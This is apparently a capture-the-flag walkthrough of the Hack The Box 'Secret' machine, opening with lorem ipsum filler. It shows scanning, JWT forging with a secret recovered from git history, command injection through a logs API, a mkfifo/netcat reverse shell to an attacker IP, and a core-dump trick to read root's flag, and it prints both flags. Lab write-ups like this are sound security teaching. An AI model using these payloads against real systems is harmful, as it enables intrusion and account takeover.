{: style=“float: right; width: 200px; margin-left: 2em”}
“Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry’s standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.”
USER
Step 1
nmap:
┌──(void㉿void)-[/htb/secret]
└─$ nmap -Pn -n -sCV 10.10.11.120
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-12 12:36 CET
Nmap scan report for 10.10.11.120
Host is up (0.032s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
| 256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_ 256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: DUMB Docs
3000/tcp open http Node.js (Express middleware)
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
dirb:
---- Scanning URL: http://10.10.11.120/ ----
+ http://10.10.11.120/api (CODE:200|SIZE:93)
+ http://10.10.11.120/assets (CODE:301|SIZE:179)
+ http://10.10.11.120/docs (CODE:200|SIZE:20720)
+ http://10.10.11.120/download (CODE:301|SIZE:183)
nikto:
+ Server: nginx/1.18.0 (Ubuntu)
ffuf:
$ ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.11.120/api/FUZZ -fw 12
[... snip ...]
Logs [Status: 401, Size: 13, Words: 2, Lines: 1]
logs [Status: 401, Size: 13, Words: 2, Lines: 1]
priv [Status: 401, Size: 13, Words: 2, Lines: 1]
- Download Source Code from the webpage.
Follow the instructions to the API and create a new user:
POST /api/user/register HTTP/1.1
Host: 10.10.11.120:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 96
{
"name": "player3",
"email": "player3@dasith.works",
"password": "Kekc8swFgD6zU"
}
Login to create a JWT:
POST /api/user/login HTTP/1.1
Host: 10.10.11.120:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 75
{
"email": "player3@dasith.works",
"password": "Kekc8swFgD6zU"
}
HTTP/1.1 200 OK
X-Powered-By: Express
auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MThlNThiMWE2OTU4OTA0NTc2OThkYTEiLCJuYW1lIjoicGxheWVyMyIsImVtYWlsIjoicGxheWVyM0BkYXNpdGgud29ya3MiLCJpYXQiOjE2MzY3MTg4NzN9.7GR5f0mFU9yXkS0u_KNXYhFYZ3mMoogphUYPjRiVm3w
Content-Type: text/html; charset=utf-8
Content-Length: 213
ETag: W/"d5-fVNaUbvOpMzM3NzFy09qa9PwBE8"
Date: Fri, 12 Nov 2021 12:07:53 GMT
Connection: close
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MThlNThiMWE2OTU4OTA0NTc2OThkYTEiLCJuYW1lIjoicGxheWVyMyIsImVtYWlsIjoicGxheWVyM0BkYXNpdGgud29ya3MiLCJpYXQiOjE2MzY3MTg4NzN9.7GR5f0mFU9yXkS0u_KNXYhFYZ3mMoogphUYPjRiVm3w
Login to verify the account:
┌──(void㉿void)-[/htb/secret]
└─$ curl -X GET http://10.10.11.120:3000/api/priv -H "Content-Type: application/json" -H "Auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MThlNThiMWE2OTU4OTA0NTc2OThkYTEiLCJuYW1lIjoicGxheWVyMyIsImVtYWlsIjoicGxheWVyM0BkYXNpdGgud29ya3MiLCJpYXQiOjE2MzY3MTg4NzN9.7GR5f0mFU9yXkS0u_KNXYhFYZ3mMoogphUYPjRiVm3w"
{"role":{"role":"you are normal user","desc":"player3"}}
Step 2
Looking in .git
history we find a token removed “because of security reasons”.
┌──(void㉿void)-[/htb/secret/files/local-web/.git]
└─$ git show 67d8da7
commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
Author: dasithsv <dasithsv@gmail.com>
Date: Fri Sep 3 11:30:17 2021 +0530
removed .env for security reasons
diff --git a/.env b/.env
index fb6f587..31db370 100644
--- a/.env
+++ b/.env
@@ -1,2 +1,2 @@
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
-TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
+TOKEN_SECRET = secret
Go to JWT.io and paste our created token. In the bottom right corner paste the found token signature (extracted from git) and we’ll see Signature Verified
.
![[Pasted image 20211112141140.png]]
With a verified signature, we can change our username from player3
to theadmin
. Take the new auth token and verify that you’re now an admin.
┌──(void㉿void)-[/htb/secret/files/local-web/.git]
└─$ curl -X GET http://10.10.11.120:3000/api/priv -H "Content-Type: application/json" -H "Auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MThlNThiMWE2OTU4OTA0NTc2OThkYTEiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InBsYXllcjNAZGFzaXRoLndvcmtzIiwiaWF0IjoxNjM2NzE4ODczfQ.mHuzptCZxArx8xTaM4Hu0ijriDdlY5BA5dPURWjA6Rk"
{"creds":{"role":"admin","username":"theadmin","desc":"welcome back admin"}}
Step 3
Next we need to figure out how to exploit the use of the admin token. Looking in routes/private.js
we find something interesting. If we are user theadmin
, requests will be executed using exec
- meaning the app is vulnerable to command injection/execution.
/private.js
$ cat routes
... snip ...]
[
.get('/logs', verifytoken, (req, res) => {
routerconst file = req.query.file;
const userinfo = { name: req.user }
const name = userinfo.name.name;
if (name == 'theadmin'){
const getLogs = `git log --oneline ${file}`;
exec(getLogs, (err , output) =>{
if(err){
.status(500).send(err);
resreturn
}.json(output);
res
})
}else{
.json({
resrole: {
role: "you are normal user",
desc: userinfo.name.name
}
})
} })
Code Execution:
$ curl -X GET -H "Content-Type: application/json" -H "Auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MThlNThiMWE2OTU4OTA0NTc2OThkYTEiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InBsYXllcjNAZGFzaXRoLndvcmtzIiwiaWF0IjoxNjM2NzE4ODczfQ.mHuzptCZxArx8xTaM4Hu0ijriDdlY5BA5dPURWjA6Rk" "http://secret.htb/api/logs?file=|id"
"uid=1000(dasith) gid=1000(dasith) groups=1000(dasith)\n"
Create a reverse shell with “nc mkfifo”:
$ curl -X GET -H "Content-Type: application/json" -H "Auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MThlNThiMWE2OTU4OTA0NTc2OThkYTEiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InBsYXllcjNAZGFzaXRoLndvcmtzIiwiaWF0IjoxNjM2NzE4ODczfQ.mHuzptCZxArx8xTaM4Hu0ijriDdlY5BA5dPURWjA6Rk" "http://secret.htb/api/logs?file=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.3+4488+>/tmp/f"
$ nc -lvnp 4488
listening on [any] 4488 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.11.120] 60328
/bin/sh: 0: can't access tty; job control turned off
$ id && hostname
uid=1000(dasith) gid=1000(dasith) groups=1000(dasith)
secret
$ cat user.txt
a9fd4876fae583bb8625a466208d711f
ROOT
Step 1
Doing a quick manual enumeration with sudo -l
and looking through some standard directories we find /opt/count
with the SUID bit set.
$ ls -al
total 56
drwxr-xr-x 2 root root 4096 Oct 7 10:06 .
drwxr-xr-x 20 root root 4096 Oct 7 15:01 ..
-rw-r--r-- 1 root root 3736 Oct 7 10:01 code.c
-rw-r--r-- 1 root root 16384 Oct 7 10:01 .code.c.swp
-rwsr-xr-x 1 root root 17824 Oct 7 10:03 count
-rw-r--r-- 1 root root 4622 Oct 7 10:04 valgrind.log
Playing around with the application, count
, we can read /root/root.txt
and when asked to save the count-data to a file we just stop and wait. In theory the data should now be stored in memory and if we some how can crash the application maybe we could be able to retreive it.
dasith@secret:/opt$ ./count
Enter source file/directory name: /root/root.txt
Total characters = 33
Total words = 2
Total lines = 2
Save results a file? [y/N]:
From a second terminal, force a core dump with kill -11
(SEGV):
dasith@secret:/opt$ ps aux | grep count
root 779 0.0 0.1 235672 7464 ? Ssl 09:04 0:00 /usr/lib/accountsservice/accounts-daemon
dasith 3001 0.0 0.0 2488 588 pts/1 S+ 13:14 0:00 ./count
dasith 3004 0.0 0.0 6432 736 pts/0 S+ 13:15 0:00 grep --color=auto count
dasith@secret:/opt$ kill -11 3001
dasith@secret:/opt$ ./count
Enter source file/directory name: /root/root.txt
Total characters = 33
Total words = 2
Total lines = 2
Save results a file? [y/N]: Segmentation fault (core dumped)
dasith@secret:/opt$ ls -al /var/crash/
total 88
drwxrwxrwt 2 root root 4096 Nov 22 13:15 .
drwxr-xr-x 14 root root 4096 Aug 13 05:12 ..
-rw-r----- 1 root root 27203 Oct 6 18:01 _opt_count.0.crash
-rw-r----- 1 dasith dasith 28049 Nov 22 13:15 _opt_count.1000.crash
-rw-r----- 1 root root 24048 Oct 5 14:24 _opt_countzz.0.crash
Read the CoreDump and grab the flag.
dasith@secret:/var/crash$ apport-unpack _opt_count.1000.crash /dev/shm/crash
dasith@secret:/var/crash$ cd /dev/shm/crash/
dasith@secret:/dev/shm/crash$ strings CoreDump
[... snip ...]
/root/root.txt
775db4f3cd0ca47cfb448e1bd5f4dced
References
kill / core dump: https://www.techonthenet.com/linux/commands/kill.php https://stackoverflow.com/questions/6561194/force-a-core-to-dump-from-an-active-normally-running-program-on-freebsd